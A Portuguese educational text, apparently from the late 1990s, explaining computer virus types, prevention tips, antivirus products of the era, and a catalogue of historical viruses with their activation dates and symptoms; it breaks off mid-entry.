VÍRUS E ANTIVÍRUS

O que são vírus de computador?

Efetivamente, vírus não surgem do nada no seu computador. Eles são escritos por alguém e colocados em circulação até atingirem o seu computador através de um programa ou disquete infectado. Um vírus é um pequeno programa que se autocopia e / ou faz alterações em outros arquivos e programas, de preferência sem o seu conhecimento e sem autorização.

As manifestações dos vírus podem ser as mais diversas como mostrar mensagens, alterar determinados tipos de arquivos, diminuir a performance do sistema, deletar arquivos, corromper a tabela de alocação ou mesmo apagar todo o disco rígido. Um vírus é basicamente um conjunto de instruções com dois objetivos básicos: Se atracar à um arquivo para posteriormente se disseminar sistematicamente de um arquivo para outro, sem a permissão ou comando do usuário nesse sentido. Eles são, portanto, auto-replicantes. Além disso, os vírus contêm instruções objetivas no sentido de concretizar uma intenção do seu criador (mostrar mensagens, apagar o disco, corromper programas, etc.).

Usualmente eles se multiplicam a partir de um arquivo ou disquete infectado. Quando você roda um arquivo infectado ou inicializa um computador com um disco infectado, o vírus alcança a memória do seu computador. Dali ele passa a infectar outros arquivos, normalmente os chamados arquivos executáveis (extensão .COM e .EXE), podendo também infectar outros arquivos que sejam requisitados para a execução de algum programa, como os arquivos de extensão .SYS, .OVL, .OVY, .PRG, .MNU, .BIN, .DRV.

Entretanto já existem vírus que infectam arquivos de dados, como os arquivos do Word (.DOC) e excel (.XLS). Chamado de Macrovírus, eles são uma nova categoria de vírus de computador que atacam arquivos específicos não executáveis, ao contrário do que ocorria anteriormente, quando tais arquivos jamais eram infectados. Outra capacidade inédita destes tipos de vírus é a sua disseminação multiplataforma, infectando de um tipo de sistema (Windows e Mac, por exemplo).

É difícil termos um número exato dos tipos de vírus, porque literalmente vírus novos surgem a cada dia. Pois além do estimado de quase 20.000 vírus (com um incremento de cerca de 100 novos por mês), os pesquisadores de vírus utilizam-se de critérios diferentes para classificar os vírus conhecidos. Entretanto, apesar do enorme

número de espécies conhecidas, apenas uma pequena parcela é a responsável por quase totalidade dos registros de infecções no mundo (estima-se cerca de 98%).

Existem vírus que não têm por objetivo provocar danos reais ao seu computador, por exemplo, vírus que nada façam além de apresentar mensagens em um determinado dia podem ser considerados benignos. Em sentido oposto, malignos seriam os vírus que infligem danos ao seu computador. Entretanto, muitos vírus que causam danos não o fazem intencionalmente. Muitas vezes são consequências de erros de programação do criador ou bugs.

Um vírus maligno pode provocar:

- erros na hora de execução de um programa;
- baixa de memória;
- lentidão para entrar em programas;
- danificação de dados;
- danificação de drives;
- formatação indesejada do HD;
- alocação desnecessária da memória do computador

Tipos de Vírus de Computador:

Vírus de Arquivos

Esse tipo de vírus agrega-se a arquivos executáveis (normalmente extensão COM e EXE), embora possam também infectar arquivos que sejam requisitados para a execução de algum programa, como os arquivos de extensão SYS, DLL, PRG, OVL, BIN, DRV (esta última é a extensão dos arquivos que controlam o funcionamento do mouse, do CD-ROM, da impressora, do scanner ...).

Arquivo de extensão SCR, que é a extensão dos screen saver (protetores de tela), também podem ser infectado, pois este arquivos são, na verdade, executáveis comuns, salvos com outra extensão. Isto é feito para que o Windows possa reconhecer automaticamente esse tipo de arquivo.

Neste tipo de virose, programas limpos normalmente se infectam quando são executados com o vírus na memória em um computador corrompido.

Os vírus de arquivos dividem-se em duas classes, os de Ação Direta e os Residentes.

Vírus de Ação Direta

Essa classe de vírus seleciona um ou mais programas para infectar cada vez que o programa que o contém é executado. Ou seja, toda vez que o arquivo infectado for executado, novos programas são contaminados, mesmo não sendo usados.

Como isto acontece?

Uma vez contaminado um arquivo, o programa (vírus) faz uma procura no winchester por arquivos executáveis. Cada arquivo encontrado é colocado em uma lista, após, na nova execução do arquivo contaminado, o vírus seleciona aleatoriamente um ou mais arquivos, e esses também serão contaminados.

Vírus Residentes

Essa classe esconde-se em algum lugar na memória na primeira vez que um programa infectado é executado. Da memória do computador, passa a infectar os demais programas que forem executados, ampliando progressivamente as frentes de contaminação.

Um vírus também pode ser ativado a partir de eventos ou condições pré determinadas pelo criador, como data (como o Sexta-feira 13, por exemplo), número de vezes que um programa é rodado, um comando específico, etc.

Vírus de Sistema ou Vírus de Boot

Infectam códigos executáveis localizados nas áreas de sistema do disco. Todo drive físico, seja disco rígido, disquete ou cd-rom, contém um setor de boot. Esse setor de boot contém informações relacionadas à formatação do disco, dos diretórios e dos arquivos armazenados nele.

Além disso pode conter um pequeno programa chamado de programa de boot (responsável pela inicialização do sistema), que executa a "carga" dos arquivos do sistema operacional (o DOS, por exemplo). Contudo, como todos os discos possuem área de boot, o vírus pode esconder-se em qualquer disco ou disquete, mesmo que ele não seja de inicialização ou de sistema (de boot).

Um comportamento comum entre os vírus de boot que empregam técnicas mais avançadas invisibilidade é exibir os arquivos de boot originais sempre que for feita uma solicitação de leitura do sector 1 da track 0. Enquanto o vírus estiver residente na memória, ele redireciona todas as solicitações de leitura desse setor para o local onde o conteúdo original está armazenado. Essa técnica engana as versões mais antigas de alguns antivírus. Alguns vírus, ainda mais avançados, chegam a marcar o setor onde o os arquivos de boot originais foram colocado, como sendo um setor ilegível, para que os usuários não possam descobrir o setor de boot em um lugar considerado incomum.

Uma explicação técnica:

O primeiro setor físico (track 0, sector 1, head 0) de qualquer disco rígido de um PC, contém o Registro de Partida e a Tabela de Alocação de Arquivos (FAT). Os vírus de MBR (Master Boot Record) atacam esta região dos discos rígidos e se disseminam pelo setor de boot do disco. Quando a FAT é corrompida, por exemplo, você perde o acesso à diretórios e arquivos, não porque eles em foram atacados, mas porque o seu computador não consegue mais acessá-los.

Observações:

- **Track ou Trilha:** uma série de anéis concêntricos finos em um disco magnético, que a cabeça de leitura / gravação acessa e ao longo da qual os dados são armazenados em setores separados.
- **Sector ou Setor:** menor área em um disco magnético que pode ser endereçada por um computador. Um disco é dividido em trilhas, que por sua vez são divididos em setores que podem armazenar um certo número de bits.
- **Head ou Cabeça:** transdutor que pode ler ou gravar dados da e na superfície de um meio magnético de armazenamento, como um disquete ou um winchester.

Vírus Múltiplos

São aqueles que visam tanto os arquivos de programas comuns como os setores de Boot do DOS e / ou MBR. Ou seja, correspondem a combinação dos dois tipos descritos acima. Tais vírus são relativamente raros, mas o número de casos aumenta constantemente. Esse tipo de vírus é extremamente poderoso, pois pode agir tanto no setor de boot infectando arquivos assim que eles forem usados, como pode agir como um vírus de ação direta, infectando arquivos sem que eles sejam executados.

Vírus de Macro

É a categoria de vírus mais recente, ocorreu pela primeira vez em 1995, quando aconteceu o ataque do vírus CONCEPT, que se esconde em macros do processador de textos MicroSoft WORD.

Esse tipo de vírus se dissemina e age de forma diferente das citadas acima, sua dissiminação foi rápida especialmente em função da popularidade do editor de textos Word (embora também encontramos o vírus na planilha eletrônica Excel, da própria MicroSoft). Eles contaminam planilhas e documentos (extensões XLS e DOC). São feitos com a própria linguagem de programação do Word. Entretanto a tendência é de que eles sejam cada vez mais eficazes, devido ao fato da possibilidade do uso da linguagem Visual Basic, da própria Microsoft, para programar macros do Word.

O vírus macro é adquirido quando se abre um arquivo contaminado. Ele se autocopia para o modelo global do aplicativo, e, a partir daí, se propaga para todos os documentos que forem abertos. Outra capacidade inédita deste tipo de vírus é a sua disseminação multiplataforma, infectando mais de um tipo de sistema (Windows e Mac, por exemplo).

Vírus Stealth ou Furtivo

Por volta de 1990 surgiu o primeiro vírus furtivo(ou stealth, inspirado no caça Stealth, invisível a radares). Esse tipo de vírus utiliza técnicas de dissimulação para que sua presença não seja detectada nem pelos antivírus nem pelos usuários. Por exemplo se o vírus detectar a presença de um antivírus na memória, ele não ficará na atividade. Interferirá em comandos como **Dir** e o **Chkdsk** do DOS, apresentando os tamanhos originais dos arquivos infectados, fazendo com que tudo pareça normal. Também efetuam a desinfecção de arquivos no momento em que eles forem executados, caso haja um antivírus em ação; com esta atitude não haverá detecção e consequente alarme.

Vírus Encripitados

Um dos mais recentes vírus. Os encripitados são vírus que, por estarem codificados dificultam a ação de qualquer antivírus. Felizmente, esses arquivos não são fáceis de criar e nem muito populares.

Vírus mutantes ou polimórficos

Têm a capacidade de gerar réplicas de si mesmo utilizando-se de chaves de encripitação diversas, fazendo que as cópias finais possuam formas diferentes. A polimorfia visa dificultar a detecção de utilitários antivírus, já que as cópias não podem ser detectadas a partir de uma única referência do vírus. Tal referência normalmente é um pedaço do código virótico, que no caso dos vírus polimórficos varia de cópia para cópia.

Precauções

O ideal seria jamais ser infectado, mas pode-se afirmar que nenhum computador está imune aos vírus e que não existem programas que possam nos dar 100% de proteção para todos os tipos de vírus. Portanto, é preciso ficar atento com as possibilidade do computador ser contaminado. É muito importante detectar o vírus antes que ele provoque danos ao seu sistema.

Um vírus sempre objetiva se disseminar o máximo possível até ser descoberto ou deflagrar um evento fatal para o qual foi construído, como por exemplo apagar todo disco rígido. Entretanto, é comum o aparecimento de alguns sintomas quando o computador está infectado, sendo que muitos deles são propositadamente incluídos na programação dos vírus pelos próprios criadores, como: mensagens, músicas, ruídos ou figuras e desenhos.

Usualmente, os vírus provocam alterações na performance do sistema e principalmente, costumam alterar o tamanho dos arquivos que infectam. Uma redução na quantidade de memória disponível pode também ser um importante indicador de virose. Atividades demoradas no disco rígido e outros comportamentos suspeitos do seu hardware podem ser causados por vírus, mas também podem ser causadas por softwares genuínos, por programas inofensivos destinados à brincadeiras ou por falhas e panes do próprio hardware.

Todos os sintomas descritos não são provas ou evidências da existência de vírus, entretanto, deve-se prestar atenção à alterações do sistema nesse sentido. Para um nível maior de certeza é essencial ter um antivírus com atualização recente, já que a lista de vírus aumenta constantemente. Para evitar contaminação é indispensável checar disquetes desconhecidos com um antivírus antes de inseri-los no computador. Pois, muitas vezes sequer é necessário abrir arquivos ou rodar um programa a partir um disquete contaminado para infectar o computador, pelo fato de todos os discos e disquetes possuírem uma região de boot (mesmo os que não são inicializáveis), basta o computador inicializar ou tentar a inicialização com um disquete contaminado no drive para abrir caminho para a disseminação. Um vírus pode atacar o programa de antivírus instalado no computador, portanto sempre bom ter à mão um disquete "limpo" de boot com a inicialização do sistema operacional e um antivírus que possa ser rodado a partir dele**.**

Outra recomendação bastante importante: ao fazer um download de algum arquivo na Internet ou BBS, antes de executar o programa, é preciso testá-lo com o antivírus de sua preferência.

Atenção: Lembre-se que os arquivos compactados (extensão como por exemplo ZIP, ARJ ou LHA) podem estar infectados. Na realidade não existe nenhum tipo de vírus que possa infectar os arquivos com essa, mas são raros os lotes de arquivos compactados que não contenham pelo menos UM arquivo executável ou algum documento do MicroSoft Word ou Excel. Como regra de prudência, é melhor descompactá-lo em um diretório isolado e testá-lo com o antivírus de sua preferência.

Protegendo-se Contra Infecções

Algumas medidas podem ser tomadas para proteger-nos de infecções, são elas:

- Tenha certeza de utilizar a proteção de um bom software Antivírus. A proteção será mais eficaz se for utilizada a última versão disponível no mercado (os principais fabricantes atualizam seus softwares em média a cada 30 ou 60 dias);
- Se seu produto antivírus possuir um módulo de auto-proteção, deixe-a sempre ligada, mesmo nos casos de instalação de novos programas, que muitas vezes pedem para o usuário encerrar todos os programas que estejam em uso antes da instalação (desligue todos os aplicativos em uso menos a auto-proteção);
- Cheque sempre cada arquivo que receber, seja por meio de um disquete, Internet ou de qualquer outra forma;
- Se você possui as versão Word 95a ou Word 97 (versão 8.0), habilite a proteção interna contra da seguinte maneira:
    1. Selecione o menu Ferramentas depois Opções;
    2. Clique em Geral;
    3. Após selecione Ativar Proteção contra Vírus de Macro;
    5. Se você vai fazer um upgrade para o Word 97, e fez poucas alterações no modelo NORMAL.DOT, considere a possibilidade de deletar o mesmo antes de fazer oupgrade;
- A maioria dos vírus de macro atacam infectando o modelo NORMAL.DOT, se você usa a versão 97, poderá proteger o seu arquivo com uma senha, assim só quem souber a senha poderá fazer qualquer tipo de uma alteração nesse modelo. Para fazer isso siga os seguintes passos:
    1. No menu Ferramentas, clique em Macro, depois de um clique na sub-opção Editor do Visual Basic;
    2. No menu Exibir escolha Explorer de Projeto, irá abrir uma janela;
    3. Na janela, clique com o botão direito do mouse, sobre a opção Normal, depois Propriedades;

4. Selecione a aba Proteção;
5. Deixe selecionado o CHECK-BOX Protege projeto para visualização;
6. Informe a senha que você desejar;
7. Clique no botão [OK] e saia do Editor do Visual Basic.

Pronto, agora toda a vez que alguém quiser fazer alguma alteração na configuração do Word, será necessário informar a senha, ou seja, os vírus de macros não poderão alterar o seu sistema.

Programas Antivírus

São programas utilizados para detectar vírus num computador ou disquete. A maioria usa método simples de procura por uma sequência de bytes que constituem o programa vírus. Desde que alguém tenha detectado e analisado a sequência de bytes de um vírus, é possível escrever um programa que procura por essa sequência. Se existe algo parecido, o programa antivírus anuncia que encontrou um vírus. O antivírus, por sua vez, funciona como uma vacina dotada de um banco de dados que cataloga milhares de vírus conhecidos. Quando o computador é ligado ou quando o usuário deseja examinar algum programa suspeito, ele varre o disco rígido em busca de sinais de invasores.

Quando um possível vírus é detectado, o antivírus parte para o extermínio. Alguns antivírus conseguem reparar os arquivos contaminados, entretanto nem sempre isso é possível. Muitas vezes a única saída é substituir o arquivo infectado pelo mesmo arquivo "clean" do software original, ou de outro computador com programas e sistema operacional idênticos ao infectado. Dependendo do vírus e das proporções dos danos ocasionados pela virose, apenas alguém que realmente compreenda do assunto poderá limpar o seu computador e, se possível, recuperar os arquivos afetados.

Alguns antivírus são dotados de alguns recursos especiais, são eles:

- Tecnologia Push : atualiza a lista de vírus. Ao conectar-se à INTERNET, o micro aciona o software Backweb, que busca automaticamente novas versões da lista de vírus no site da McAfee sem a necessidade do usuário fazer dowloads manuais;
- ScreenScan: varre o disco rígido enquanto o micro está ocioso. Funciona da seguinte maneira: toda vez que o screen saver é acionado, o VirusScan entra em ação. Além de não atrapallar a rotina do usuário, evita a queda de desempenho do PC.

Os Melhores Antivírus

Após o computador ser infectado por um vírus, a única solução são esses programas. Alguns antivírus conseguem reparar os arquivos contaminados, entretanto nem sempre isso é possível. Muitas vezes, neste caso, o arquivo infectado pode e deve ser substituído pelo mesmo arquivo "clean" do software original ou de outro computador com programas e sistema operacional idênticos ao infectado. Mas, muitas vezes, dependendo do vírus e da extensão dos danos ocasionados pela virose, apenas alguém que realmente compreenda do assunto poderá desinfectar o seu computador e recuperar os arquivos (quando possível). No processo de descontaminação do computador é importante checar todos os seus disquetes, mesmo aqueles com programas e drives originais a fim de evitar uma recontaminação.

Existem muitos programas antivírus que podem ser adquiridos no formato shareware em sites de pesquisadores, empresas ou em BBS. As versões shareware são programas que normalmente não possuem todas as funções da versão comercial plena, eventualmente estas versões possuem tempo de uso limitado, a vantagem é que geralmente são gratuitas.

Não basta apenas instalar um bom antivírus no computador para estar livres desses invasores para sempre, pois, como já foi dito anteriormente, cerca de 100 novos vírus surgem todos os meses, então é preciso estar sempre atualizado. A maioria dos antivírus oferecem atualizações mensais ou bimestrais que podem ser adquiridas gratuitamente por até um ano, por quem comprou o antivírus.

A seguir serão apresentados alguns dos mais conhecidos e usados antivírus, aconselho ter UM deles no seu computador, porém o ideal é pelo menos DOIS. Escolha o seu na lista a seguir:

VirusScan

O VirusScan, produzido pela McAfee , é o antivírus mais conhecido do mundo. É possível encontrar versões para vários sistemas operacionais desde o MS-DOS até o Windows. O antivírus possui 10.160 vírus listados.

As novas versões desse programa possuem um sistema chamado de Hunter (Caçador), que possui uma execução multiponto de 32 bits projetada para utilizar os avanços mais atuais em termos de memória e gerenciamento de hardware, conferindo ao software um alto nível de detecção de vírus e rápido rastreamento. Quando entra em ação o sistema cruza informações sobre comportamentos virais para detectar invasores não catalogados. O Hunter é um sistema inteligente, que utiliza webcasting para atualizar seus registros via Internet.

O software possui um módulo chamado ScreenScan que lança automaticamente o programa de análise quando se ativa o protetor de tela, ou seja, enquanto sua máquina estiver ligada e você não estiver trabalhando o programa procura sozinho por vírus.

Além disso, devido ao aumento dos Applets Hostis, a McAfee está lançando uma nova versão do VirusScan, trata-se do WebScanX, especializado em policiar o comportamento de aplicações Java, ActiveX e programas que "viajam" de carona em mensagens de e-mail.

Norton Antivirus - NAV

Produzido pela Symantec, o Norton AntiVirus (também conhecido como NAV) ganhou a confiança de seus usuários, e passou a ser um mais usados atualmente.

Possui 9.600 vírus listados, além de um sistema de procura por desconhecidos. Mas o que chama a atenção na sua nova versão é um sistema desenvolvido especialmente para o Netscape Navigator , que monitora a presença de vírus durante a realização de download de arquivos na Internet. Se um vírus for encontrado ele automaticamente trata de reparar o arquivo que está sendo baixado.

Tem detecção polifórmica, que utiliza um compartimento de limpeza virtual, no qual os vírus mutantes são introduzidos antes que possam atuar sobre os arquivos no disco rígido. Além disso também trabalha em segundo plano vigiando a entrada de invasores.

Dr. Solomons Tool Kit

Possui aproximadamente 13.000 vírus listados. Um dos destaques do kit é o módulo MailGuard, que foi desenvolvido para proteger o computador dos vírus que chegam pela Internet ou correios eletrônicos, como o Lotus Notes e o Microsoft Exchange. O sistema elimina automaticamente o vírus, caso ele seja encontrado.

Mas o que está fazendo do antivírus ficar conhecido, e ter o seu uso cada vez mais constante, é um teste publicado pela revista americana PC Magazine, que mostra que o DR. Solomon's é o primeiro antivírus que detecta 100% dos vírus eletrônicos. Segundo a revista, o antivírus, na versão para o Windows NT, detectou todos os Vírus de Macros e Polifórmicos conhecidos.

Também possui um módulo, que trabalha em segundo plano, que fica constantemente procurando por vírus enquanto você trabalha.

Se você copia arquivos de programas pela Internet a partir de instalações FTP ou de outros computadores, ou usa disquetes para transferir dados entre computadores, é bem possível que seu computador pegue um vírus. Entretanto você não precisa se preocupar em pegar vírus quando carregar arquivos de texto ou de dados pela Internet.

- Um arquivo de programa carregado da Internet ou transferido de qualquer outro computador pode estar infectado por um vírus. Disquetes usados em outros computadores também são passíveis de estarem infectados. Os vírus são específicos para as plataformas porque os arquivos de programa que infectam são feitos para serem executados em um tipo de computadores. Os computadores executando MS-DOS parecem ter maiores riscos que outros tipos de computadores, provavelmente devido ao maior número de computadores MS-DOS no mundo. Entretanto, outros tipos de

computadores - especialmente os das linhas Macintosh e Amiga, e sistemas Unix - também correm riscos.

- Ao executar um programa infectado ou dar um BOOT de um disco infectado, o vírus anexa cópias de si mesmo em outros programas e discos usados pelo computador.
- Os vírus podem danificar o software, corrompendo arquivos de programas ou de dados que passam a se comportar erraticamente. Um vírus pode alterar os arquivos de sistema necessários ao computador quando este é ligado. Um vírus pode desordenar o sistema de diretórios nos discos, provocando a perda do registro dos outros arquivos.
- Programas chamados vasculhadores (anti-vírus) procuram vírus e alertam sua presença. Alguns vasculhadores verificam todos os arquivos que chegam ao computador à procura de vírus. Programas de monitoração vigiam as operações do computador, procurando sinais de que um ataque de vírus pode estar se iniciando.
- Alguns programas desinfetam, ou removem, os vírus. Programas desinfetantes não funcionam com todos os tipos de vírus, entretanto.
- vírus adere ao topo de um programa executável. Quando este programa é executado, o vírus inicia seu trabalho sujo. A partir do momento em que o programa de vírus está em execução, ele toma conta do resto do programa executável original. Pode-se não perceber que o programa está infectado até que o vírus começe a causar problemas.
- Uma excelente maneira de proteger seus programas é fazer cópias regulares de todos os seus arquivos. Ao descobrir que o computador foi infectado basta descartar os arquivos infectados, reformatar o disco e reinstalar os programas a partir de suas cópias de segurança. Dá bastante trabalho, mas em alguns casos é a única alternativa.

Lista dos principais antivírus do mercado e suas respectivas funções especiais:

ANTIVÍRUS	VERIFICA ARQUIVOS DURANTE DOWNLOADS	VERIFICA ARQUIVOS ANEXADOS EM E-MAIL	VERIFICA ARQUIVOS COMPACTADOS
	COMPACTADOS / NÃO COMPACTADOS	COMPACTADOS / NÃO COMPACTADOS	COMPACTADOS / NÃO COMPACTADOS
Dr.Salomon's 7.73	Não / Sim	Não / Sim	Não / Não
F-Prot 3.01	Não / Sim	Não / Sim	Não / Não
Imune Vírus II 2.0	Sim / Sim	Sim / Sim	Sim / Sim
Inoculan 5.0	Não / Sim	Não / Sim	Sim / Não
Norton AntiVírus 4.0	Sim / Sim	Não / Sim	Não / Não
PC-cillin 97 2.10	Sim / Sim	Sim / Sim	Sim / Sim
Sweep	Não / Sim	Não / Sim	Não / Não
TBAV	Não / Sim	Não / Sim	Não /Não
VirusScan 3.11	Não / Sim	Não / Sim	Sim / Não

Ficha técnica com as características de cada vírus:

1253

Ativação: 1º a 31 de dezembro

Características: vírus encontrado em 1990, provavelmente originário da Áustria. Ele infecta arquivos tipo .COM, incluindo o COMMAND.COM, o setor de boot de disquetes e a tabela de partição do disco rígido.

O que faz: sobregrava disquetes no drive A: e diminui a memória livre nosistema em 2 128 bytes.

Como atua: na primeira vez que é executado, o vírus 1253 se instala residente na memória baixa do micro, como um TSR (Terminate and Stay Resident). Este TSR é de 2 128 bytes e captura as INTs 13, 21 e 60 do sistema operacional. A memória do sistema permanece igual, mas a memória livre diminui 2 128 bytes. Neste momento, a tabela de partição do disco rígido é infectada com o 1253. Se o arquivo contaminado é executado a partir de um disquete, o setor de boot do disquete também é infectado. Qualquer disquete que for acessado quando o vírus está ativo na memória tem o seu setor de boot infectado. Disquetes recém-formatados também são contaminados imediatamente.

Halloween

Ativação: em 31 de outubro.

Características: Halloween é um vírus de infecção de arquivos que não se torna residente na memória. Ele ataca diretamente arquivos tipo .COM e .EXE (de dados e executáveis), incluindo o COMMAND.COM.

O que faz: torna o micro mais lento, fazendo com que arquivos e documentos demorem entre dois e cinco minutos para serem abertos. Os arquivos infectados também aumentam 10 000 bytes em tamanho.

Como atua: cada vez que um arquivo contaminado é executado, o arquivo procura no mesmo diretório um arquivo executável (.EXE). Se não achar um arquivo .EXE não-contaminado, procura um .COM. Se todos os arquivos .COM e .EXE estiverem contaminados, o usuário recebe uma mensagem que diz: "Runntime error 002 at 0000:0511"

Sintomas de infecção: os arquivos infectados por Halloween passam a ter as seguintes linhas de texto:

".*" / "ALL GONE" / "Happy Halloween"*

4096

Ativação: 1º de outubro até 31 de dezembro

Características: vírus tipo "stealth" invisível, residente na memória, que infecta arquivos tipo .COM, .EXE e .OVL (de dados e executáveis).

O que faz: corrompe e destrói arquivos executáveis e de dados, aumentando o volume de dados dos arquivos. Uma vez residente na memória do sistema, infecta qualquer arquivo executável aberto, mesmo que seja aberto com o comando COPY ou XCOPY do DOS.

Sintomas de infecção: o micro se torna lento, como se houvesse um defeito de hardware.

Helper A e B

Ativação: dias 10 de todos os meses.

Características: vírus de macro que se propaga infectando documentos do Microsoft Word (versões 6.x e 7.x) nas plataformas Windows e Macintosh. Ele possui uma linguagem independente para contaminar arquivos .DOC e .DOT.

O que faz/sintomas de infecção: o vírus cria ou muda a senha para help em cada documento fechado no dia 10 de cada mês.

Colombus/Akuku

Ativação: em 12 de outubro

Características: o Columbus é um vírus não residente em memória, baseado no vírus Akuku, que como ele infecta arquivos .COM e .EXE (de dados e executáveis), incluindo o COMMAND.COM.

O que faz: cada vez que um arquivo infectado é executado, o vírus contamina mais três arquivos no mesmo diretório. Se não encontrar arquivos não-contaminados no mesmo diretório, procura um diretório acima até chegar ao drive C:.

Sintomas de infecção: no dia da ativação do Columbus, quando um programa está contaminado, o vírus exibe repetidas vezes no monitor a seguinte mensagem, enquanto lê o sistema inteiro do disco rígido:

"Columbus Raped America. Now I Rape your Hard Disk." / ("Colombo violentou a América. Agora eu violento o seu disco rígido.")

No caso do vírus original, Akuku, é incluída a seguinte linha de texto no código viral, encontrada em todos os arquivos contaminados:

"A kuku, Nastepny komornik !!!"

Alguns arquivos executáveis também deixam de funcionar adequadamente depois da infecção com o Akuku e podem exibir mensagens do tipo "Error in EXE file" ("Erro no arquivo EXE").

Alien.h

Ativação: todo domingo

Características: vírus de macro que se propaga infectando documentos do Microsoft Word (versões 6.x e 7.x), nas plataformas Windows e Macintosh.

O que faz: exibe a mensagem "It's Sunday and I intend to relax!" (é domingo e eu pretendo relaxar) em uma caixa de diálogo e fecha o documento ativo naquele momento. Causa erros no WordBasic e na interpretação de macros no Word.

Como atua: o vírus consiste das macros AUTOOPEN, AUTOCLOSE e FILESAVEAS nos documentos infectados. Torna-se ativo usando o AutoMacros. Todas as macros são encriptadas, impedindo que o usuário as edite ou veja os seus códigos.

Sintomas de infecção: ao abrir um documento num micro infectado, o vírus deleta as opções de menu FERRAMENTAS|MACRO e FERRAMENTAS|PERSONALIZAR. Além disso, códigos corrompidos fazem surgir mensagens de erro de WordBasic. No dia 1º de agosto, o vírus exibe a seguinte mensagem:

- / Alien / X / Another Year of Survival / OK

Em seguida, o programa é fechado. Em Windows 3.x, o vírus também esconde o Gerenciador de Arquivos. Ao abrir um arquivo num domingo de qualquer mês, o vírus poderá exibir a mensagem:

- / Alien / X / It's Sunday and I intend to relax! / OK

Em seguida, ele fecha o Word.

Satanic

Ativação: em 1º de outubro

Características: vírus de macro que infecta documentos do Microsoft Word (versões 6.x e 7.x), nas plataformas Windows e Macintosh.

O que faz: na primeira infecção, cria um arquivo executável C:\NC.COM e no dia de sua **ativação:** tenta formatar o drive C: no Windows.

Como atua: grava macros no Word que são executadas nas diversas atividades que o usuário realiza enquanto usa o programa (salvar/abrir documentos, fechar e sair do software). Todas as macros são encriptadas,

tornando impossível para o usuário editar ou visualizar o código. Um sistema infectado pelo vírus deleta TOOLS/MACRO, TOOLS/CUSTOMIZE e TOOLS/OPTIONS.

Sintomas de infecção: no dia 30 de setembro, quando o usuário cria um novo documento, aparece no monitor um quadro com a mensagem:

You´re infected with Satanic

Alliance

Ativação: dias 2, 7, 11 e 12 de todo mês.

Características: vírus de macro que infecta documentos do Microsoft Word (versões 6.x/ 7.x/ 97), nas plataformas Windows e Macintosh.

O que faz: altera o funcionamento de macros no arquivo NORMAL.DOT.

Sintomas de infecção: cada documento infectado apresentará o texto *"YOU HAVE BEEN INFECTED BY THE ALLIANCE"* como assunto na área de resumo do ARQUIVO/PROPRIEDADES.

Leandro & kelly

Ativação: em 21 de outubro.

Características: Leandro & Kelly é um vírus residente em memória que infecta o setor Master Boot Record (MBR).

O que faz: o vírus causa mudanças no setor MBR do sistema, fazendo com que o usuário tenha dificuldade para inicializar o micro e dificuldade no acesso a drives de disquetes.

Como atua: a única forma de infectar um computador com vírus de MBR é tentar inicializar a máquina usando um disquete de boot contaminado. Depois da contaminação, o vírus se instala também no setor de MBR do disco rígido e se torna residente na memória.

Sintomas de infecção: no dia 21 de outubro, o vírus exibe no monitor a seguinte mensagem:

"Leandro & Kelly!" / "GV-MG-Brazil" (e a data de infecção)

Jerusalem/Anarkia

Características: Anarkia é uma variante do vírus Jerusalém. Tem o efeito de derrubar o desempenho do sistema e deletar arquivos executados. A diferença em relação ao Jerusalem é que não apresenta a caixa preta que o identifica no monitor. Trata-se de um vírus residente em memória que infecta arquivos tipo .COM, .EXE, .SYS, .BIN, .PIF e .OVL. Vários vírus foram desenvolvidos tomando o código do Jerusalem como base.

Ativação: o vírus Jerusalem é ativado nas sextas-feiras dia 13; o Anarkia, nas terças-feiras 13 e, o Anarkia-B, no dia 12 de outubro.

O que faz: torna o micro mais lento e, no dia de sua **ativação**, deleta todo arquivo que o usuário tentar executar.

Sintomas de infecção: os arquivos .COM infectados ganham 1 813 bytes adicionais e arquivos .EXE ganham entre 1 808 e 1 822 bytes.

Louvado.A

Ativação: dia 13 de todo mês

Características: vírus de macro brasileiro de alto poder destrutivo, que deleta arquivos e diretórios do Microsoft Windows, Office, Word e Excel. O vírus se propaga infectando documentos do Microsoft Word (versões 6.x e 7.x), nas plataformas Windows e Macintosh.

O que faz: ao abrir um arquivo nos dias 13, 14, 19 e 24 de qualquer mês, ele deleta vários arquivos no drive C.

Como atua: o vírus consiste da macro AUTOOPEN nos documentos infectados. Torna-se ativo usando o AutoMacros. Todas as macros são encriptadas, impedindo que o usuário as edite ou veja os seus códigos.

Sintomas de infecção: depois de deletar arquivos no drive C:, o vírus exibe o seguinte a pergunta num quadro de mensagem:

Você é GAY??????

Aragorn

Ativação: dia 28 de outubro

Características: vírus não-residente em memória que infecta arquivos tipo .COM e .EXE, incluindo o COMMAND.COM. Um bug no vírus faz com que ele infecte o primeiro arquivo .EXE num diretório e não infecte os outros arquivos .EXE no mesmo diretório. O mesmo erro não ocorre em relação a arquivos .COM.

Sintomas de infecção: as seguintes linhas de texto são visíveis junto ao código viral em todo arquivo com Aragorn:

*A Aragorn-Roma "(C)1992" / *.com *.exe" / "RRRR"*

No dia da ativação do Aragorn, a seguinte mensagem é exibida em texto Ansi, com uma barra colorida representando a bandeira italiana:

"MUSSOLINI DUX / 28 OTTOBRE / ANNIVERSARIO / MARCIA SU ROMA / (barra colorida) / BOIA CHI MOLLA"

Karin

Ativação: em 23 de outubro.

Características: Karin, também conhecido como RedStar, é um vírus não residente em memória que infecta arquivos. Ele ataca arquivos tipo .COM e .EXE (de dados e executáveis), incluindo o COMMAND.COM.

O que faz: no dia de sua ativação, se um arquivo for executado o vírus exibe insistentemente uma mensagem que comemora o aniversário de Karin. O vírus coloca o arquivo em loop e o sistema precisa ser reinicializado.

Como atua: quando um arquivo infectado com Karin é executado, o vírus procura outros arquivos .COM no mesmo diretório e os infecta. Se o arquivo COMMAND.COM estiver nesse diretório, será contaminado.

Sintomas de infecção: no dia 23 de outubro, ao executar um arquivo, a seguinte mensagem é exibida repetidas vezes:

"Karin's hat GEBURTSTAG"

Badboy

Ativação: 1º e 13º dia de cada mês

Características: vírus de macro que infecta documentos do Microsoft Word (versões 6.x e 7.x), nas plataformas Windows e Macintosh.

O que faz: o vírus instala as seguintes macros em todo documento infectado: AUTOOPEN, FILESAVEAS, BADBOY, AUTOEXEC e FILENEW, que mudam o funcionamento do programa. O vírus também estabelece a palavra gansta como senha para salvar os documentos.

Como atua: a macro AUTOOPEN infecta o arquivo global de macros, quando o usuário abre um documento do Word contaminado. Ao usar a macro FILESAVEAS, todos os outros documentos serão infectados.

Sintomas de infecção: nos dias de sua ativação, apresenterá as seguintes telas de mensagem em sistemas infectados:

